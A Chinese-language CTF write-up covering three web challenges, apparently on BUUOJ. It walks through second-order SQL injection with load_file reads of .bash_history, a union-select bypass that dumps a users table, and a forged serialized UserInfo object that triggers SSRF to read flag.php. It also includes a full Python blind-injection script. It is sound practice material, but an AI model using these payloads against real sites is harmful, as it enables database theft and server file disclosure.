打开界面,跟着提交帖子发现要登陆,登陆界面最开始以为是直接注入呢,后来才注意到有提示***
要爆破,爆破出来时666,登陆后正常提交帖子,然后好像就没啥了,想起来扫一下目录,扫到了git文件泄露,直接githack下载下来,git恢复了一下拿到源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php include "mysql.php" ; session_start();if ($_SESSION ['login' ] != 'yes' ){ header("Location: ./login.php" ); die (); }if (isset ($_GET ['do' ])){switch ($_GET ['do' ]) {case 'write' : $category = addslashes($_POST ['category' ]); $title = addslashes($_POST ['title' ]); $content = addslashes($_POST ['content' ]); $sql = "insert into board set category = '$category ', title = '$title ', content = '$content '" ; $result = mysql_query($sql ); header("Location: ./index.php" ); break ;case 'comment' : $bo_id = addslashes($_POST ['bo_id' ]); $sql = "select category from board where id='$bo_id '" ; $result = mysql_query($sql ); $num = mysql_num_rows($result ); if ($num >0 ){ $category = mysql_fetch_array($result )['category' ]; $content = addslashes($_POST ['content' ]); $sql = "insert into comment set category = '$category ', content = '$content ', bo_id = '$bo_id '" ; $result = mysql_query($sql ); } header("Location: ./comment.php?id=$bo_id " ); break ;default : header("Location: ./index.php" ); } }else { header("Location: ./index.php" ); }?>
比较明显的二次注入,在write
操作中将恶意category
写入数据库,其实那个转义函数没什么用,因为存入数据库的还是原数据,后来在comment
中直接调用了category
,造成了二次注入。
最开始试了正常的读取数据库但是没发现回显,后来读了下user()发现是root权限,那flag应该不在数据库,最后发现可以用load_file
来读bash命令记录。这个地方能读取也是建立在可读权限上的
先写个帖子使category = 1',content=(select load_file('/home/www/.bash_history')),/*
然后留言出*/#
闭合就可以,
再读.DS_Store
,但需要hex编码一下,因为有不可见字符,接着读flag_8946e1ff1ee3e40f.php
拿flag
Fakebook 进入页面发现尝试join,按要求输入了,然后创建了一个用户的样子,看了下源代码,发现一个链接view.php?no=1
,感觉是注入的样子,点开正常界面,试了下no=2报错了,接着简单测试了下,用union select
时返回了no hack ~_~
,被ban了!这里应该就可以确定存在注入了,试了下内敛注释可以绕过。测试了下有四个字段no=-1%20union/**/select%201,2,3,4#
,发现username
处回显了2,接着就可以来得到表字段啥的了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 no=-1%20union/**/select%201,group_concat(database()),3,4%20limit%200,1# 回显fakebook no=-1%20union/**/select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1# 回显users no=-1%20union/**/select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1# 回显no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS、 no=-1%20union/**/select%201,group_concat(no,username,passwd,data),3,4%20from%20users%20limit%200,1# 回显1kkfineba3253876aed6bc22d4a6ff53d8406c6ad864195ed144ab5c87621b6c233b548baeae6956df346ec8c17f5ea10f35ee3cbc514797ed7ddd3145464e2a0bab413O:8:"UserInfo":3:{s:4:"name";s:6:"kkfine";s:3:"age";i:12;s:4:"blog";s:25:"https://haoami.github.io/";} no:1 username:kkfine passwd:ba3253876aed6bc22d4a6ff53d8406c6ad864195ed144ab5c87621b6c233b548baeae6956df346ec8c17f5ea10f35ee3cbc514797ed7ddd3145464e2a0bab413 data:O:8:"UserInfo":3:{s:4:"name";s:6:"kkfine";s:3:"age";i:12;s:4:"blog";s:25:"https://haoami.github.io/";}
再看到这个序列化数据猜到和反序列化有关,到这卡了一下不知道干啥了,然后想起来目录还没扫,发现有robots.txt中有给出了bak文件,拿到源码分析,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php class UserInfo { public $name = "" ; public $age = 0 ; public $blog = "" ; public function __construct ($name , $age , $blog ) { $this ->name = $name ; $this ->age = (int )$age ; $this ->blog = $blog ; } function get ($url ) { $ch = curl_init(); curl_setopt($ch , CURLOPT_URL, $url ); curl_setopt($ch , CURLOPT_RETURNTRANSFER, 1 ); $output = curl_exec($ch ); $httpCode = curl_getinfo($ch , CURLINFO_HTTP_CODE); if ($httpCode == 404 ) { return 404 ; } curl_close($ch ); return $output ; } public function getBlogContents ( ) { return $this ->get($this ->blog); } public function isValidBlog ( ) { $blog = $this ->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i" , $blog ); } }
很明显data的数据就是这个UserInfo
类,内容就是我们之前注册用户的数据,然后这里需要联想一下,,因为源码里面很明显要SSRF打内网,这里又需要序列化,结合报错消息**Notice**: unserialize(): Error at offset 0 of 1 bytes in **/var/www/html/view.php** on line **31**
想到的就是可以用select查询我们构造的data数据,去执行getBlogContents ()
来达到SSRF。构造O:8:"UserInfo":3{s:4:"name";s:5:"admin";s:3:"age";i:233;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:23;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' 拿到flag <iframe width='100%' height='10em' src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3sxZmE2ZDUzOS0xZTUyLTQyZjctYTk4NS1mMDZhOTU1NWQ0MmR9IjsNCmV4aXQoMCk7DQo='>
Unfinish 进入界面是一个登录,也没有给注册按钮,那就先扫目录吧,果然扫出来了个register.php
,注册界面是需要邮箱,用户名,密码,但登录界面只需要用邮箱和密码,登录进去后回显出来了用户名,似乎又是二次注入。
测试了一下,发现过滤掉了, information
等,那left,right函数就用不了了,这里有两个思路,一个是使用hex二次编码,二次编码后的长度太长了,再用from for
截取来爆破出想要得到的结果,转码就行了。另个一使用ascii加上
测试pyload0'+ascii(substr(databases()) from 1 for 1)+'0;
0’+ascii(substr((select * from flag) from {} for 1))+’0;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requestsimport stringimport timeimport re url = 'http://5a23b673-9495-4dec-b80c-5cf3bf553d2f.node4.buuoj.cn:81/' s = string.ascii_letters+string.ascii_uppercase+string.digits ses = requests.session() repatter = re.compile ('<span class="user-name">[\s]+([\w]+)[\s]+<' )def exp (): result = '' for i in range (1 ,100 ): time.sleep(0.5 ) resister_url = url + 'register.php' payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0;" .format (i) resister_res = requests.post(resister_url,data={'email' :'123{}@qq.com' .format (i), 'username' :payload, 'password' :'123' }).text login_url = url + 'login.php' loginres = requests.post(login_url,data={'email' :'123{}@qq.com' .format (i), 'password' :'123' }).text content = re.findall(repatter,loginres) result += chr (int (content[0 ])) print (result) exp() 另一种用0 '+(select substr(hex(hex(({0}))) from {1} for 10))+' 0 原理也是差不多的
总结一下,这几个题大都考的是注入,穿插了一下其他的考点像序列化然后ssrf,再次熟悉了二次注入的原理及可能出现的地方,不得不说这几个题目还不错。